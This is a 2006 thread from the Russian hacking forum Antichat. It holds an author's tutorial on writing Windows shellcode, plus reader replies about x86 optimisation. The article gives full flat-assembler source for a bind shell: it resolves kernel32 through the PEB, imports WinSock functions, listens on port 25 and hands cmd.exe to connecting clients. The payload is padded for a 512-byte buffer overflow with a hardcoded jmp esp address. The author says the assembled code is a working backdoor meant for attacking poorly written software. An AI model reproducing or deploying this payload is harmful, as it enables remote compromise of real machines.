Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Авторские статьи (https://forum.antichat.xyz/forumdisplay.php?f=31)
-   -   Написание ShellCoda’a (https://forum.antichat.xyz/showthread.php?t=27419)

hidden 17.11.2006 21:03

Написание ShellCoda’a
 
И так, это моя вступительная статья, по поводу вступления в ряды модераторов данного раздела.

Написание ShellCoda’a

В данной статье будет оговорены такие аспекты как:
- Оптимизация кода
- Программирование без нулевого байта
- Нахождение рукоятки(Handle) kernel’а
- Нахождение таблицы импорта kernel’а с последующим получением из неё функции GetProcAddress
- Алгоритм автоматического импортирования остальных функций
- Прослушивание порта
- Запуск и последующее сцепление интерпретатора команд с подключившемся клиентом

[ Теория ]

Оптимизация:
Нам ведь нужно, чтоб наш код занимал как можно меньше места и выполнялся как можно быстрее, тогда нам нужно освоить методы оптимизации. Например если мы уверены, что в регистре осталось значение, то нет никакого смысла заносить его туда снова, также если оставшиеся значение ненамного отличается от требуемого, можно просто воспользоваться инструкцией для его модификация, если конечно эта инструкция выполняется быстрее, инструкция занесения туда этого числа или занимает меньше байт.
Примеры:
Код:

33 C0        xor eax, eax
тоже что и
B8 00000000 mov eax, 0
---
33 C0 xor eax, eax
8D48 05 lea ecx, [eax+5]
тоже что и
B8 00000000 mov eax, 0
B8 05000000 mov ecx, 5
Но в 2 раза короче
---
C1E8 02 shr eax, 2 ; сдвиг на два бита в право(r) эквивалентно делению на (максимальное значение которое можно поместить в 2 бита + 1) т.е. 4
тоже что и
BB 04000000 mov ebx, 4
BA 00000000 mov edx, 0
F7FB idiv ebx
но при этом во втором варианте затрагиваются другие регистры, что не всегда приемлемо.
shl – сдвиг в другую сторону, т.е. можно использовать для целочисленного деления на числа (2,4,8,16,32,64,128,256,512,1024,...)
---
09C0 or eax, eax
74 15 jz @f
Тоже что
83F8 00 cmp eax, 0
74 15 je @f
---
AD Lodsd
тоже что и
8B 06 mov eax, [esi]
83C6 04 add esi, 4
---
Умножение на 3 например, можно осуществить так
8D0440 lea eax, [eax*3]
при этом оно скомпилируется как
8D0440 lea eax, [eax+eax*2]
---
Ну и циклическое копирование блока фиксированной длины оптимальнее выполнять так
mov esi, Откуда
mov edi, Куда
mov ecx, Длина
rep movsb
или если длина кратная четырём то так
mov esi, Откуда
mov edi, Куда
mov ecx, Длина
shr ecx, 2
rep movsd
но не так
mov esi, Откуда
mov edi, Куда
mov ecx, Длина
@@:
lodsb
stosb
inc esi
inc edi
loop @b
и тем более не так
mov esi, Откуда
mov edi, Куда
mov ecx, Длина
@@:
mov al, [esi]
mov [edi], al
inc esi
inc edi
dec ecx
cmp ecx, 0
jnz @b

Нулевой байт:
В большинстве случаев где используется шэлкод нет возможности вставлять нулевые символы, а возможно даже переходы строк, так что будем заменять все инструкции, содержащие токовые на другие группы инструкций имеющие эквивалентное действие. В этом нам поможет дизассемблер или отладчик, очень удобно запустить OllyDbg, нажимать пробел на одном и том же месте, вписывать инструкцию и сразу же смотреть её опкоды, так же хорошо это помогает и при оптимизации, например компилишь and eax, 0x0F получается 3 байта, а and eax, 0xFF пять.

Относительные адреса:
Также нужно заменять все инструкции имеющие абсолютные(absolute) адреса, на адреса относительно(relative) некоторых регистров, т.к. мы не знаем прямых адресов, не знаем в какой уголок памяти нас закинула винда(а учится то, что обещают мелкомягкие в винде виста, то к этому нужно привыкать), так что будем выкручиваться. Например чтоб получить свой текущий адрес можно воспользоваться вот такой комбинацией
Код:

E8 00000000 call near @f
@@: 5D pop ebp

Правдо она содержит нулевые байты, но это можно обойти так
Код:

EB 02 jmp .lb2
.lb1: EB 05 jmp .lb3
.lb2: E8 F9FFFFFF call near .lb1
.lb3: 5D pop ebp

Код:
Далее я буду последовательно приводить фрагменты кода и за каждым из них, будет следовать описание. Все коды написаны для flat assembler’a

Код:

format PE GUI 4.0
entry Start

include 'win32a.inc'

proc Start
        sub    esp, 512
        mov    edi, esp
        mov    esi, Begin
 @@:    lodsb
        stosb
        cmp    al, 0
        jnz    @b
        add    esp, 512
        ret
endp

Begin  file 'shellcode.bin'

Для опрощения написания и отладки шэлкода, я написал такую программку, которая эмулирует переполнение буфера длиной 512 байт, вписывая туда заранее скомпилированный шэлкод, останавливаясь при этом при нахождении первого нулевого байта.
Код:

include 'win32a.inc'
buffer_len = 512
use32

Инициализация всех нужных нам структур, указание компилятору, что дальше идёт 32х битный машинный код, а также указываем длину переполняемого буфера.
Код:

; Here is begin of shellcode
Begin:

  LoadLibraryA          db 'LoadLibraryA',0xFF    ; We cen't end text lines
  tx_cmd                db 'cmd.exe',0xFF          ; by symbol 0, so we chenged
                                                  ; it to symbol 0xFF
  importex              db 'kernel32',0xFF
  CreateProcessA        db 'CreateProcessA',0xFF
  VirtualAlloc          db 'VirtualAlloc',0xFF
  CloseHandle          db 'CloseHandle',0xFF,0xFF
                        db 'Ws2_32',0xFF
  WSAStartup            db 'WSAStartup',0xFF
  WSASocketA            db 'WSASocketA',0xFF
  bind                  db 'bind',0xFF
  listen                db 'listen',0xFF
  accept                db 'accept',0xFF,0xFF,0xFF

Вот оно, начало шэлкода, несмотря на это первая инструкция куда попадёт управление, находится в конце, а сюда управление не попадёт никогда. В этой часте кода, содержатся строки, которые в последствии будут использованы, как вы уже заметили заканчиваются они не символом с кодом 0 а символом с кодом 0xFF(255) по известным причинам. Почему 0xFF?, да потому, что его очень просто переделать в 0, 0 это not 0xFF.
Код:

ecode:
        mb_al  = buffer_len and 0xff
        mb_ah  = buffer_len shr 8
        xor    eax, eax
        if      mb_al > 0 & mb_ah > 0
          mov  ax, buffer_len
        else if mb_al > 0 & mb_ah = 0
          mov  ah, mb_al
        else if mb_al = 0 & mb_ah > 0
          mov  ah, mb_ah
        end if
        sub    esp, eax
        lea    ebp, [esp + ecode - Begin]

Тут определяется наше местоположение, точнее местоположение ecode: и заносится в регистр ebp, относительно него мы и будем обратятся к переменным и текстовым строкам. Также тут реализовано смещение указателя на стек(esp) за приделы нашего кода, чтоб при занесении значений в стек, они его не затерали. Макроинструкции if контролируют невнесение нулей в код, при изменении длины переполняемого буфера.
Код:

; Getting kernel addr
        xor    eax, eax
        mov    eax, [fs:eax+30h]
        test    eax, eax
        js      ngk
        mov    eax, [eax+0Ch]
        mov    esi, [eax+1Ch]
        lodsd
        mov    edx, [eax+8]
        jmp    egk
ngk:    mov    eax, [eax+34h]
        add    eax, 7Ch
        mov    edx, [eax+3Ch]
egk:

Тут мы получаем из регистра fs адрес области памяти, в которую загрузился кернел, этот адрес также известный как Handle, а точнее там содержатся все параметры и структуры загруженного модуля. К сожалению до изучения интересной(насколько я о ней наслишен) структуры содержащийся в по адресу из этого регистра, я ещё не добрался, так что я просто взял готовый кусочек кода и модифицировал его под свои нужду, как только появится время + настроение обязательно это сделаю.
Код:

; Locating export table
        mov    ebx, [edx+60]
        mov    ebx, [edx+ebx+120]

Первая строка находит смешение PE структуры, содержащий параметры и смещения 32х битного запускаемого модуля, а вторая считывает от туда смещение таблицы экспорта и заносит его в ebx.
Код:

; Looking for LoadLibraryA
;        mov    esi, [edx+ebx+0x20] ; Names
;        add    esi, edx
;@@:    lodsd
;        add    eax, edx
;        cmp    dword[eax], 'Load'  ; We can find this function
;        jne    @b                  ; by using GetProcAddress
;        ;cmp    dword[eax+4], 'Libr' ; because already have handle
;        ;jne    @b                  ; of kernel
;        cmp    dword[eax+8], 'aryA'
;        jne    @b
;        cmp    byte[eax+12], 1
;        jnb    @b
;        sub    esi, [edx+ebx+0x20]
;        add    esi, [edx+ebx+0x1C]
;        mov    esi, [esi-4]
;        add    esi, edx
;        push    esi
; Looking for GetProcAddress
        mov    esi, [edx+ebx+0x20] ; Names
        add    esi, edx
@@:    lodsd
        add    eax, edx
        cmp    dword[eax], 'GetP'
        jne    @b
        ;cmp    dword[eax+4], 'rocA' ; It's only to control what
        ;jne    @b                  ; this is a right function,
        ;cmp    dword[eax+8], 'ddre' ; but kernel doesn't contain
        ;jne    @b                  ; any simular functions
        cmp    word[eax+12], 'ss'
        jne    @b
        cmp    byte[eax+14], 1
        jnb    @b
        sub    esi, [edx+ebx+0x20]
        add    esi, [edx+ebx+0x1C] ; - Addreses
        mov    esi, [esi-4]
        add    esi, edx
        ;push    esi

Владея этой информацией мы можем найти любую функцию кернола, например LoadLibreryA и GetProcAddress, а дальше загрузить любую другую библиотеку, и помощью этих функций получить из них любую функцию, но как я уже говорил, полученная область памяти и есть Handle, он же и есть то значение которое возвращается функцией LoadLibreryA. Также я закоментил четыре инструкции, проверяющие верная ли это функция, так как кекнол не содержит подобной инструкции, попадающей под остальные проверки, а значит нет смысла сомневаться, что это правильная функция, кстати этим мы экономим 18 байт кода.
Код:

; Restoring strings zero bytes
        lea    edi, [ebp+Begin-ecode]
        xor    eax, eax
        lea    ecx, [eax+ecode-Begin]
        dec    eax
z_lp:  repne  scasb
        jnz    z_en
        not    byte[edi-1]
        inc    ecx
        loop    z_lp
z_en:

Находим в строках байты 0xFF и инвертируем их, в результате чего получаем на их месте байты 0.
Код:

; Getting LoadLibreryA
        push    esp edx
        call    esi
        push    eax esi

Получаем функцию LoadLibreryA, с помощью функции GetProcAddress, содержащийся в регистре esi, с последующим сохранением их в стеке, для импортирования остальных функций.
Код:

; Importing functions
        lea    edi, [ebp+importex-ecode]
        jmp    i_ll
i_nl:  stosb
i_ll:  stdcall dword[esp+8], edi
        mov    esi, eax
i_nc:  xor    eax, eax
        lea    ecx, [eax-1]
        repne  scasb
        cmp    [edi], ax
        jz      i_el
        cmp    [edi], al
        jz      i_nl
        stdcall dword[esp+8], esi, edi
        stosd
        jmp    i_nc
        db      'B' ; To block "\n"

А вот он и алгоритм, автоматического импортирования функций, его также очень удобно применять в Вирусах, Троянах или просто в зашифрованных программах, для скрытия списка импортируемых функций. Использовать его очень просто, в передаваемую в edi структуру, заносится имя библиотеки, дальше следует два три нулевых байта если это конец структуры, два байта если нужно загрузить следующею библиотеку или один если нужно импортировать из неё функции, которых разделены между собой одним нулевым байтом, а если находятся два или 3 байта, то их значение соответствует приведенным выше. Адреса полученных функций заносятся в первые четыре байта имени функции, так что использование функций имена которых короче 3х символов, недопустимо!
Код:

; Begin of ShellCode
i_el:  xor    esi, esi
        mov    eax, esi
        mov    ax, 0x222
        mov    ebx, esi
        mov    bh, (MEM_COMMIT shr 8)
        stdcall dword[VirtualAlloc+ebp-ecode], esi, eax, ebx, PAGE_READWRITE

Тут выделяем 546 байт памяти для хранения структур, нелюбою хранить переменные в стеке, лишний шанс переполнения, не я ошибусь, так мелкомягкие, какую нибудь калечную функцию напишут, типа lstrcpy, в МСДН’е так и написано, Security Alert. Ладно чёта я отвлёкся, продолжим.
Код:

        mov    edi, eax
        mov    eax, esi
        mov    ax, 0x202
        stdcall dword[WSAStartup+ebp-ecode], eax, edi

Ну тут понятно, инициализируем WSA(Windows Sockets support) передаём ему адрес памяти, полученный предыдущим кодом, а со структурой пусть разберется сам, она примерно 520 байт, остальное меня не интересует.
Код:

        stdcall dword[WSASocketA-ecode+ebp], 2, 1, esi, esi, esi, esi
        mov    [ebp+4], eax  ; IdSocket

Создаём сокет и заносим его идентификатор во второе двойное слово нашего кода, да, да мы можем затирать начало кода, т.к. управление больше никогда туда не вернётся, а значит там очень удобно хранить переменные фиксированной длины, тем более что ebp у нас указывает прямо туда. Кстате, по непонятным для меня причинам инструкция mov [ebp], eax компилируется как mov [ebp+0], eax зато mov [esi], eax например компилируется нормально, а так как 0 нам тут совсем не к месту то подставим туда 4.
Код:

        mov    [ebp+4], eax  ; IdSocket
        mov    eax, esi
        mov    ah, 25
        mov    [edi+sockaddr_in.sin_port], ax ; sin_port
        lea    eax, [esi+2]
        mov    [edi+sockaddr_in.sin_family], ax
        mov    [edi+sockaddr_in.sin_addr], esi
        stdcall dword[bind-ecode+ebp], [ebp+4], edi, sizeof.sockaddr_in
        stdcall dword[listen-ecode+ebp], [ebp+4], 5

Тут мы заполняем структуру sockaddr_in в edi для слушанья 25го порта, биндим и начинаем прослушку. Номер порта заносится во вторую половину регистра ax, те в ah.
Код:

        mov    eax, edi
        lea    ecx, [esi+0x20]
        rep    stosd
        mov    edi, eax
        lea    eax, [esi+sizeof.STARTUPINFO]
        mov    [edi], eax ; +STARTUPINFO.cb = +0
        mov    dword[edi+STARTUPINFO.wShowWindow], esi ; SW_HIDE = word 0, cbReserved2 = word 0
        mov    eax, esi
        inc    al ; eax = 000000(01)
        inc    ah ; eax = 0000(01)01
        mov    [edi+STARTUPINFO.dwFlags], eax ; STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES = 0x101

Заполняем нулями 32к байт, т.е. будущую структуру STARTUPINFO, а также заполняем необходимые поля т.к. длина и флаги(не показывать окно и использовать пользовательские рукоятки).
Код:

.loop:  stdcall dword[accept-ecode+ebp], [ebp+4], esi, esi
        mov    [edi+STARTUPINFO.hStdInput], eax
        mov    [edi+STARTUPINFO.hStdOutput], eax
        mov    [edi+STARTUPINFO.hStdError], eax
        lea    ebx, [tx_cmd-ecode+ebp]
        lea    edx, [edi+sizeof.STARTUPINFO] ; ProcessInfo is next to STARTUPINFO
        stdcall dword[CreateProcessA-ecode+ebp], esi, ebx, esi, esi, -1, esi, esi, esi, edi, edx
        stdcall dword[CloseHandle-ecode+ebp], [edi+sizeof.STARTUPINFO]
        stdcall dword[CloseHandle-ecode+ebp], [edi+sizeof.STARTUPINFO+4]
        stdcall dword[CloseHandle-ecode+ebp], [edi+STARTUPINFO.hStdInput]
        jmp    .loop

Здесь мы передаём идентификатор сокета, подключившегося клиента запускаемой программе как рукоятки стандартного ввода и вывода, а также вывода ошибок. Также тут мы попадаем в бесконечный цикл, из которого этот тред не выйдет никогда, а куда нам его выпускать то, мы ведь затёрли адрес возврата, хотя если кому-то надо, не сложно модифицировать этот код например для создания дополнительного треда, а потом как-нибудь рассчитать адрес возврата, поместить этот цикл в тред, а управление передать на этот адрес, так что дерзайте, можно также использовать какую-нибудь некорректную инструкцию, например деление на ноль, тогда управление передастся на ближайший интерпретатор ошибок и если программа отлаживает(что-то вроде try, except) ошибки такого рода, то управление попадёт куда надо.
Код:

        db      buffer_len - ($ - Begin) dup('A')
        dd      0x7C941EED
        call    ecode
        db      0
; Here is end of shellcode

Ну и заключительная деталь, выравниваем(заполняем оставшееся место символоми A), код до длины переполняемого буфера, в данном случае это 512 байт. Шэлкод занимает почти все 512, так что с переполнением буфера меньший длины придётся повозится дольше, тогда шэлкод нужно будет разместить по обоим сторонам затираемого адреса, что немного сложнее, а вот для буферов большей длины нужно просто указать её значение в первом фрагменте кода. Кстати объясню насчёт dd 0x7C941EED - это адрес инструкции jmp esp в библиотеке ntdll(за идею спасибо KEZ’У, чаще бы такие идеи), я сомневаюсь что в другом билде он изменится, но всё-же, если это произойдёт его нужно будет поправить, ну или найти такую же инструкцию, например в атакуемой программе.

Надеюсь эти 17Кб текста, кому-нибудь помогут, в атаках на кривые коды на скорую руку.

С вами был hidden, удачи...

hidden 17.11.2006 22:21

Кста если просто собрать эти коды, получится работоспособный бэкдор. ;)

Цитата:

Сообщение от _Great_
+1 :)

Знал что ты заметишь :)

Zadoxlik 17.11.2006 22:26

Интересная у вас реакция, эту идею, на сколько я помню, КЕЗ в своей статье толкнул уже не знамо как давно

hidden 17.11.2006 22:28

Цитата:

Сообщение от Zadoxlik
Интересная у вас реакция, эту идею, на сколько я помню, КЕЗ в своей статье толкнул уже не знамо как давно

https://forum.antichat.ru/showpost.php?p=220041&postcount=9

ProTeuS 18.11.2006 01:41

Цитата:

Сообщение от Zadoxlik
Интересная у вас реакция, эту идею, на сколько я помню, КЕЗ в своей статье толкнул уже не знамо как давно

то же мне новость

кстате, http://www.yandex.ru/yandsearch?rpt=rad&text=OllyUni.dll

taha 18.11.2006 16:05

Цитата:

кстате, http://www.yandex.ru/yandsearch?rpt=rad&text=OllyUni.dll
Заходим на сайт, ссылки битые, ищем по форуму на всех топах битые ссылки, ладно мы люди терепеливые идём в гугл и т.п.
Однако, все поисквики ссылаются на кряклаб, а там все ссылки битые.
Может у кого есть прямые ссылки.

KindEcstasy 29.11.2006 22:53

Читал примерно то-же про оптимизацию, но только от BillyBelcibu (или как то так). Ну а так для так сказать самообразования вообще кул! Мог бы ставить +10, поставил бы =)

ЗюЫ. Про:

AD Lodsd
тоже что и
8B 06 mov eax, [esi]
83C6 04 add esi, 4

Впервые вижу такое, полезно! +

hidden 29.11.2006 23:09

Цитата:

Сообщение от KindEcstasy
Впервые вижу такое, полезно! +

Советую ознакомится с этим набором инструкций, это оооочень полезные инструкции для работы со строками ;)
Код:

lodsb
lodsw
lodsd
stosb
stosw
stosd
movsb
movsw
movsd
scasb
scasw
scasd
rep
std
cld


_Great_ 30.11.2006 13:50

Советую ознакомиться со всем списком целочисленных (в первую очередь) инструкций.
Ну, может быть, за исключением Xmm-, Mmx-расширений.

KindEcstasy 01.12.2006 00:13

Да насчёт инструкций то знаю =)
Я просто не знал как это записать по другому (оптимизировать) а именно вот это:

[цитата]
тоже что и
8B 06 mov eax, [esi]
83C6 04 add esi, 4

=)


Время: 04:17